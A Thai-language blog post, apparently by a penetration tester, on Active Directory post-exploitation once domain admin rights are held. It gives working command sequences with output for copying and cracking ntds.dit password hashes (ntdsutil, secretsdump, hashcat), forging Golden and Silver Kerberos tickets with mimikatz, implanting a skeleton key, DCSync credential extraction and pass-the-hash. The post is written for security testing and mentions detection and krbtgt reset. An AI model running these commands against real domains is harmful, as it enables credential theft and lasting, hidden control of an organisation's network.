Domain Controller Post-exploitation

Pornsook Kornkitichai
INCOGNITO LAB
Published in
10 min readAug 19, 2021

หลังจากที่เราสามารถ compromise ผู้ใช้งานในกลุ่ม domain admins ได้สำเร็จ ในเชิงเทคนิคแล้ว domain นั้นย่อมถูก compromise ไปเรียบร้อยแล้ว ขั้นตอนถัดจากนี้เป็นทางเลือกในการขยายการ compromise ให้มากขึ้นซึ่ง penetration tester หรือแม้แต่ attacker สามารถเลือกที่จะทำได้

1. Find more credentials from ntds.dit

โดยปกติแล้ว database ของ Active Directory จะถูกเก็บอยู่ใน file ชื่อ ntds.dit ซึ่งสิ่งที่เราสนใจเป็นพิเศษก็คือข้อมูล hash ของ password ของผู้ใช้งานใน domain

รูปแบบของ credentials ที่เก็บอยู่ใน ntds.dit

ปกติแล้ว file นี้ถูกเก็บอยู่ในรูปแบบที่ทำการเข้ารหัสไว้ด้วยค่า encryption key ที่ถูกเก็บอยู่ใน system registry ถ้าเราพยายาม access เจ้า ntds.dit ในช่วง runtime ระบบปฏิบัติการจะไม่อนุญาต เราจะมี 2 ทางเลือกในการเก็บ ntds.dit ออกมา
1) ไปหา backup ของมันมาใช้งานต่อ
2) ทำ shadow copy ซึ่งเป็น feature ที่ Window สร้างขึ้นมาเพื่อทำ local backup ซึ่งเราสามารถที่จะ access ntds.dit ได้โดยสร้าง backup ของ ntds.dit ขึ้นมาเอง

วิธีการ ให้ทำตามตัวอย่างคำสั่งที่ได้แสดงเอาไว้ โดย comment ถูกแสดงหลังเครื่องหมาย // เวลา run แสดงผลจริง ๆ จะไม่มี

C:\Users\Administrator\Desktop>ntdsutil
ntdsutil: ?
//Set "NTDS" or a specific AD LDS instance as the active instance.
ntdsutil: activate instance ntds
Active instance set to "ntds".
//IFM media creation
ntdsutil: ifm
//จะสร้างที่ path ไหนก็ได้
ifm: create full c:\temp
Creating snapshot...
Snapshot set {ef4ee8c1-9040-4438-85e3-8b13df8032a9} generated successfully.
Snapshot {427e977d-090b-49e7-aec4-68f600f46d08} mounted as C:\$SNAP_202108162355_VOLUMEC$\
Snapshot {427e977d-090b-49e7-aec4-68f600f46d08} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202108162355_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit
Defragmentation Status (% complete)0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................
//copy ค่า encryption key
Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {427e977d-090b-49e7-aec4-68f600f46d08} unmounted.
IFM media created successfully in c:\temp
//เสร็จเรียบร้อย อย่าลืม quit
ifm: quit
ntdsutil: quit

หลังจากทำ backup ของ ntds.dit เสร็จเรียบร้อยลองดูที่ output directory ควรจะมีโครงสร้างดังนี้

c:\temp>tree /f
Folder PATH listing
Volume serial number is 0000006E 5C91:C1F2
C:.
├───Active Directory
│ ntds.dit
│ ntds.jfm

└───registry
SECURITY
SYSTEM

หลังจากนั้นให้ทำการ dump credential รูปแบบ LM:NT hash ออกจาก ntds.dit ซึ่งจะใช้ tool ชื่อ secretdump ภายใต้ชุดเครื่องมือ Impacket
https://github.com/SecureAuthCorp/impacket

//คำสั่งนี้จะ extract hash credential ออกมาจาก ntds.dit
└─$ python3 ~/tools/impacket/examples/secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL -outputfile ntdsdump
Impacket v0.9.24.dev1+20210702.183028.4821d64e — Copyright 2021 SecureAuth Corporation[*] Target system bootKey: 0x2a951dede73xxx20cf08398627a011xx
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 6adb992be7xx95082266720c03930fxx
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f599168881e0ad26axxc5a25ff75a4xx:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16aexxxb73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6xxx0d16ae931b73c59d7e0c089xx:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:96e10xxx4bd187b549c9358d121c85xx:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0xxc51b3fe7axxa7c227af90106a3xx:::
DEMODOMAIN.local\mark:1104:aad3b435b51404eeaad3b435b51404ee:d44d5e0591cxxf6ecb6d6a86ec9a12xx:::

output ที่ได้จะนำไปใช้งานต่อ โดยจะนำ ntdsdump.ntds ไปทำการ crack ต่อด้วย hashcat

┌──(kali㉿kali)-[~/Desktop/works/local]
└─$ ls
‘Active Directory’ ntdsdump.ntds ntdsdump.ntds.kerberos
ntdsdump.ntds.cleartext registry
//ทำการ crack ด้วย hashcat
$ hashcat -r hob064.rule -m 1000 ntdsdump.ntds /usr/share/wordlists/rockyou.txt -o cracked1.txt
//แสดงผลในรูปแบบที่มี username, hash, plaintext password
$ hashcat --show --username -m 1000 ntdsdump.ntds -o cracked1.txt

Remark:
- potfile เก็บอยู่ที่ ~/.hashcat/hashcat.potfile
- hash pattern code ดูได้จาก https://hashcat.net/wiki/doku.php?id=example_hashes

2. Create a new domain admin account

ทำการสร้าง domain admin account ใหม่ขึ้น โดยปกติแล้วไม่แนะนำเนื่องจากเป็น activity ที่จะ trigger ให้เกิด alert กับอุปกรณ์ network security monitoring tool ส่วนใหญ่มักจะทำเพื่อทดสอบดูกระบวนการ Incident Response ว่าเจอ anomaly behaviour หรือไม่

3. Create a golden ticket

หากเราสามารถ compromise KDC หรือเครื่อง domain controller ได้ และได้ NTLM hash หรือ AES key ของ krbtgt มา เราจะสามารถสร้าง TGT ได้ตามที่เราต้องการ โดยไม่ต้องผ่านขั้นตอน KRB_AS_REQ และ KRB_AS_REP (step 1–2 ตาม Kerberos Authentication flow ซึ่งถูก filter ให้เป็นสีเข้มตามภาพ)โดย TGT ปลอมที่สร้างขึ้นมานั้น จะมีสิทธิ์ตามที่เรากำหนดและ sign ด้วย key จาก ktbtgt ตัว ticket ที่ถูกสร้างขึ้นเราเรียกว่า “Golden Ticket”

Wonka’s Golden Ticket

คำว่า Golden Ticket นำมาจากภาพยนต์เรื่อง Willy Wonka & the Chocolate Factory หากใครได้ Golden Ticket แล้วจะสามารถเข้าไป Chocolate Factory ได้

Facts ที่น่าจะรู้ไว้บ้าง
- TGT ที่สร้างขึ้นสามารถใช้งานได้จริง (fully functional TGT)
-โดย default แล้ว TGT ที่สร้างขึ้นมาหรือ Golden Ticket มีอายุ 10 ปี
- TGT ที่มีอายุน้อยกว่า 20 นาที, TGS จะถูกสร้าง โดยไม่มีการตรวจสอบความถูกต้องของ TGT และผู้สร้างซึ่ง attacker สามารถสร้างได้เรื่อย ๆ หลังจากสามารถสร้าง TGS ได้แล้ว TGS นั้นจะ valid อีก 10hrs
- การสร้าง TGT ไม่จำเป็นต้อง interact กับ KDC เลย สังเกตว่า ขั้นตอนที่ 1 และ 2 ไม่มีความจำเป็นเพราะ เราสร้าง TGT ไปแล้ว และ Kerberos เป็น stateless protocol จุดมุ่งหมายของการทำ Golden Ticket ก็คือ เราสามารถสร้าง TGT ให้เป็น TGT ที่มีข้อมูล PAC เป็น account ที่ไม่มีอยู่จริงและมีสิทธิ์ตามที่เราอยากได้
- หาก krbtgt account ถูก compromise หรือถ้าทดสอบเจาะระบบแล้วดันไปทำ Golden Ticket ไว้แล้ว asset owner ไม่สบายใจ จะต้อง reset password ของ krbtgt งานจะใหญ่เพราะมีผลกับ production เนื่องจาก ต้อง reset 2 รอบ รอบแรกทำแล้ว KDC จะพยายาม validate TGT กับ password history ที่มีอยู่ (2 passwords) ต้องทำการ reset password รอบที่ 2 หลังจากรอบแรกประมาณ 30mins เมื่อทำแล้ว TGT ทั้งหมดในระบบจะใช้ไม่ได้

รูปแสดงการสร้าง Golden Ticket

วิธีสร้าง Golden Ticket
1) หา SID ของ domain จากคำสั่งดังกล่าวจะได้ค่า SID เป็น S-1–5–21–4097063694–3848447163–3402915358

C:\Users\Administrator>wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-4097063694-3848447163-3402915358-500
Guest S-1-5-21-4097063694-3848447163-3402915358-501
krbtgt S-1-5-21-4097063694-3848447163-3402915358-502
DefaultAccount S-1-5-21-4097063694-3848447163-3402915358-503
andy S-1-5-21-4097063694-3848447163-3402915358-1104
dorothy S-1-5-21-4097063694-3848447163-3402915358-1106
IIS_002 S-1-5-21-4097063694-3848447163-3402915358-14601
mark S-1-5-21-4097063694-3848447163-3402915358-15603

2) ค่า hash ของ krbtgt ที่ได้จากการ extract ntds.dit ด้วย secretsdump.py สังเกตว่าใช้ encryption type แบบใด (Computer Configuration >> Windows Settings >> Security Settings >> Local Policies >> Security Options >> “Network security: Configure encryption types allowed for Kerberos”) สำหรับรายละเอียด encryption type แต่ละชนิดสามารถอ่านเพิ่มเติมได้ที่ Network security: Configure encryption types allowed for Kerberos

3) ใช้ mimikatz.exe (ไม่จำเป็นต้อง run ด้วยสิทธิ์ domain admin)

  .#####. mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
.## ^ ##. “A La Vie, A L’Amour” — (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > http://pingcastle.com / http://mysmartlogon.com ***/
// สร้าง golden ticket
mimikatz # kerberos::golden /rc4:a0xxc51b3fe7axxa7c227af90106a3xx /id:500 /user:incognito /domain:demodomain.local /sid:S-1–5–21–4097063694–3848447163–3402915358
User : incognito
Domain : demodomain.local (DEMODOMAIN)
SID : S-1–5–21–4097063694–3848447163–3402915358
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: a0xxc51b3fe7axxa7c227af90106a3xx — rc4_hmac_nt
Lifetime : 8/17/2021 3:07:40 PM ; 8/15/2031 3:07:40 PM ; 8/15/2031 3:07:40 PM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !

หลังจาก run เสร็จ จะพบว่ามี file ชื่อ ticket.kirbi (สังเกตว่า lifetime ของมันมีอายุ 10 ปี)ให้ทำการ load เข้าสู่ session ของ mimikatz ได้เลย

mimikatz # kerberos::ptt ticket.kirbi* File: ‘ticket.kirbi’: OK

ลอง list รายการของ TGT และ TGS ใน memory ด้วยชุดคำสั่งใน mimikatz

mimikatz # kerberos::list[00000000] — 0x00000017 — rc4_hmac_nt
Start/End/MaxRenew: 8/17/2021 3:07:40 PM ; 8/15/2031 3:07:40 PM ; 8/15/2031 3:07:40 PM
Server Name : krbtgt/demodomain.local @ demodomain.local
Client Name : incognito @ demodomain.local
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;

หรือใช้คำสั่ง klist ผ่าน command line ก็ได้ผลเช่นเดียวกัน

PS C:\Users\andy> klistCurrent LogonId is 0:0xa13a1Cached Tickets: (1)#0> Client: incognito @ demodomain.local
Server: krbtgt/demodomain.local @ demodomain.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 8/17/2021 15:07:40 (local)
End Time: 8/15/2031 15:07:40 (local)
Renew Time: 8/15/2031 15:07:40 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:

4) ทดสอบใช้พลังแห่ง Golden Ticket

//ลอง run คำสั่ง ถ้าไม่ใช่ admin ของเครื่อง Domain Controller จะทำแบบนี้ไม่ได้
# pushd \\dc\c$

หรือใช้ psexec ไปยังเครื่อง Domain Controller จะพบว่า user ที่เราสร้างขึ้นคือ incognito มีสิทธิ์เทียบเท่า domain admin แต่ไม่มีรายชื่ออยู่ใน group ของ domain admins

#PsExec.exe \\dc cmd.exePsExec v2.2 — Execute processes remotely
Copyright © 2001–2016 Mark Russinovich
Sysinternals — www.sysinternals.com
Microsoft Windows [Version 10.0.14393]
© 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
demodomain\incognito
C:\Windows\system32>net group “domain admins”
Group name Domain Admins
Comment Designated administrators of the domain
Members — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
Administrator andy.admin
The command completed successfully.
C:\Windows\system32>

4. Implant a skeleton key

เป็นเทคนิคที่ทำการ patch LSASS.exe เพื่อจะใช้ master password เพียงหนึ่งเดียวในการ authenticate กับ domain controller โดยที่ password เดิมที่ใช้งานอยู่ยังใช้ได้และ master password ก็ใช้ได้เช่นกัน เทคนิคดังกล่าวเกิดขึ้นใน memory บนเครื่อง domain controller ที่ถูก implant ด้วย skeleton key เท่านั้น เมื่อ reboot แล้ว skeleton key ก็จะหายไปด้วย ส่วนตัวเวลาทดสอบเจาะระบบไม่กล้าใช้เทคนิคนี้เนื่องจากเสี่ยงถูก malware ที่อยู่ในเครือข่ายฉวยโอกาสถ้าเราใช้ skeleton key ของ tool ที่ master password ไม่ได้เปลี่ยนแปลง และเสี่ยงต่อการถูกด่าได้เนื่องจากมันดูคล้ายกับการวาง backdoor บนเครื่อง domain controller

implant skeleton key ด้วย mimikatz

จากภาพทำการ implant skeleton key ผ่าน mimikatz เมื่อ run เสร็จเรียบร้อยแล้ว entity ที่ authenticate กับ domain controller เครื่องนี้ จะสามารถใช้ password ได้ 2 ชุด คือ password ปัจจุบันที่ใช้อยู่และ password อีกชุดคือ “mimikatz”

5. Perform DC Sync to gain the target’s latest credential

เทคนิค DC Sync Attack เป็นเทคนิคที่ถูก pioneer โดย Benjamin Delpy และ Vincent Le Toux (ทั้งสองคนร่วมพัฒนา mimikatz ด้วยกัน) เป็นเทคนิคที่โจมตีโดย impersonate เครื่อง non-domain controller ให้สามารถ synchronise ข้อมูลกับเครื่อง domain controller ได้ ปกติแล้วกระบวนการดังกล่าวทำผ่าน Active Directory Replication ด้วย protocol ชื่อ Directory Replication Service (DRS) Remote Protocol

repadmin /replsum สำหรับตรวจสอบสถานะ replication

หากลองทดสอบ run คำสั่งดังกล่าวบนเครื่อง domain controller ก็จะแสดงผลให้เห็น replication status ระหว่างกลุ่มเครื่อง domain controller

เมื่อเราสามารถ impersonate domain controller ได้ การจะดึงข้อมูลสำคัญพวก hash ของ accounts ที่สนใจย่อมทำได้เช่นกัน โดยผลที่ได้จะเหมือนกับการทำ ntds.dit แต่ข้อดีของ DC Sync คือเราสามารถ target เฉพาะบาง account ที่เราสนใจได้ มักใช้ในกรณีที่มี account บางคนทำการเปลี่ยน password หลังจากที่เราได้ ntds.dit มาแล้วและไม่อยากทำใหม่อีกรอบ การทำ DC Sync ก็เป็นวิธีที่สะดวกไม่น้อย วิธีการคือต้องมีสิทธิ์ระดับ domain admins หรือ enterprise admins จากนั้น run mimikatz โดยใช้คำสั่ง
lsadump::dcsync /domain:[ชื่อ domain] /user:[target user account]

secretsdump.py -just-dc 'bob':'qwerty777'@[dc IP] //dump all ntlm hash
C:\Users\Administrator\Desktop>mimikatz.#####. mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
.## ^ ##. “A La Vie, A L’Amour” — (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:demodomain.local /user:krbtgt
[DC] ‘demodomain.local’ will be the domain
[DC] ‘DC.demodomain.local’ will be the DC server
[DC] ‘krbtgt’ will be the user account
Object RDN : krbtgt** SAM ACCOUNT **SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 6/18/2018 13:32:19 AM
Object Security ID : S-1–5–21–4095063694–3848447163–3403915358–502
Object Relative ID : 502
Credentials:
Hash NTLM: a0xxc51b3fe7axxa7c227af90106a3xx
ntlm- 0: a0xxc51b3fe7axxa7c227af90106a3xx
lm — 0: bd1db11 — — — — — 43d23c92xxx8b7a
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : …
* Primary:Kerberos-Newer-Keys *
Default Salt : demodomain.localkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : xxx
aes128_hmac (4096) : xxx
des_cbc_md5 (4096) : xxx
* Primary:Kerberos *
Default Salt : demodomain.localkrbtgt
Credentials
des_cbc_md5 : xxx
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 xxx
02 xxx
03 xxx

ยังมีเทคนิคที่ชื่อว่า DC Shadow ซึ่ง advanced กว่า DC Sync โดยจะทำการ register เครื่อง DC ตัวใหม่เข้าไปใน schema, commit และ demote ภายหลัง ใครอยากรู้รายละเอียดให้ดูที่ DCShadow ได้เลย

6. Attack the services with Silver Ticket

Silver Ticket คือการสร้าง TGS ปลอมขึ้นมาเพื่อไปทำงานกับ target service โดยตรง ไม่ได้ผ่านกระบวนการปกติและไม่ได้ interact กับ KDC (ข้ามขั้นตอนที่ 1–4) ที่สำคัญคือข้อมูล PAC จะถูกสร้างขึ้นในรูปแบบที่เราต้องการ ซึ่งโดยปกติแล้ว PAC signature จะไม่ผ่านกระบวนการ PAC validation ถ้าไม่ถูก enable

forged TGS หรือ Silver Ticket ถูกสร้างขึ้นและถูกใช้โดยตรงกับ target service

ทำไมเราต้องสนใจ Silver Ticket ด้วยในเมื่อเราสามารถ compromise local admin ได้?
สมมติ SPN, service ปลายทางเช่น MSSQL หรือ password ของ local administrator ถูกเปลี่ยนทำให้เราไม่สามารถ access เข้่าใช้งาน target service ได้ แต่ถ้าเราสร้าง Silver Ticket ไว้ก่อน การเข้าถึง target service ย่อมทำได้ในภายหลัง

วิธีสร้าง Silver Ticket
ต้องรู้ hash ของ target service ก่อน​ เช่นถูก compromise มาก่อนแล้วและเคย extract NTLM hash จาก target service หรือ target computer มาก่อน จากนั้นวิธีการทำจะคล้าย ๆ กับการทำ Golden Ticket จากตัวอย่างคำสั่งด้านล่างทำการโจมตีไปที่ CIFS service เพื่อเข้าถึง file sharing ด้วยสิทธิ์ local admin

mimikatz # kerberos::golden /rc4:c37xxxx5b368343886d7cb776xxxxbfa /id:500 /user:icladmin /domain:demodomain.local /sid:S-1–5–21–4097063694–3848447163–3402915358 /target:server01.demodomain.local /service:cifs /pttUser : icladmin
Domain : demodomain.local (DEMODOMAIN)
SID : S-1–5–21–4097063694–3848447163–3402915358
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: c37xxxx5b368343886d7cb776xxxxbfa — rc4_hmac_nt
Service : cifs
Target : server01.demodomain.local
Lifetime : 8/19/2021 12:47:04 AM ; 8/17/2031 12:47:04 AM ; 8/17/2031 12:47:04 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for ‘icladmin @ demodomain.local’ successfully submitted for current sessionmimikatz # misc::cmd
Patch OK for ‘cmd.exe’ from ‘DisableCMD’ to ‘KiwiAndCMD’ @ 00007FF6F4B595E0
mimikatz # kerberos::list[00000000] — 0x00000017 — rc4_hmac_nt
Start/End/MaxRenew: 8/19/2021 12:47:04 AM ; 8/17/2031 12:47:04 AM ; 8/17/2031 12:47:04 AM
Server Name : cifs/server01.demodomain.local @ demodomain.local
Client Name : icladmin @ demodomain.local
Flags 40a00000 : pre_authent ; renewable ; forwardable ;
mimikatz # misc::cmd
Patch OK for ‘cmd.exe’ from ‘DisableCMD’ to ‘KiwiAndCMD’ @ 00007FF6F4B595E0

Remarks:

  • /ptt คือ pass the ticket สร้าง ticket เพื่อนำไปใช้ใน Kerberos authentication flow
  • pth คือ pass the hash เช่นการใช้ psexec ด้วย hash ซึ่งอธิบายใน https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
  • over-pass-the-hash หากใน windows environment ไม่อนุญาตให้ใช้ Net-NTLMv2 การทำ pass the hash attack จะทำไม่ได้ ให้ใช้ over-pass-the-hash เพื่อนำ hash ไปสร้าง TGT และอยู่ใน Kerberos authentication flow ตามปกติ
mimikatz # privilege::debug
Privilege ‘20’ OK
mimikatz # sekurlsa::pth /user:penelope /domain:demodomain.lolcal /ntlm:9caxxxx7aa573a363c09xxxx738610ec
user : penelope
domain : demodomain.lolcal
program : cmd.exe
impers. : no
NTLM : 9caxxxx7aa573a363c09xxxx738610ec
| PID 4912
| TID 5456
| LSA Process is now R/W
| LUID 0 ; 6409602 (00000000:0061cd82)
\_ msv1_0 — data copy @ 000001BD5F67EAE0 : OK !
\_ kerberos — data copy @ 000001BD6625CA58
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001BD66837AA8 (32) -> null

Reference

  1. อยากเข้าใจว่า password ใน windows environment ถูก implement อย่างไรให้อ่านที่ https://docs.microsoft.com/en-us/windows-server/security/kerberos/passwords-technical-overview
  2. รายละเอียดเชิงลึกของ Microsoft Kerberos และการโจมตี รวมทั้ง Golden Ticket ถูกนำเสนอครั้งแรกที่นี่ https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf
  3. วิธีการ reset password ของ krbtgt — https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password
  4. คู่มือการใช้งาน mimikatz ฉบับ Unofficial Guide to Mimikatz & Command Reference — https://adsecurity.org/?page_id=1821
  5. ใครอยากดูข้อมูลใน PAC ก็สามารถดูได้จาก getPac.exe จากบทความ https://stealthbits.com/blog/what-is-the-kerberos-pac/
  6. ตัวอย่างการใช้ Silver Ticket จากบทความ How Attackers Use Kerberos Silver Tickets to Exploit Systems — https://adsecurity.org/?p=2011\
  7. เทคนิคการทำ memory dump กับ LSASS จากบทความ https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/
  8. เทคนิคอื่น ๆ ที่ไม่ได้กล่าวถึง อาจลองดูได้จาก https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/

--

--

Pornsook Kornkitichai
INCOGNITO LAB

I am a security engineer, Alice, and co-founder of Incognito Lab.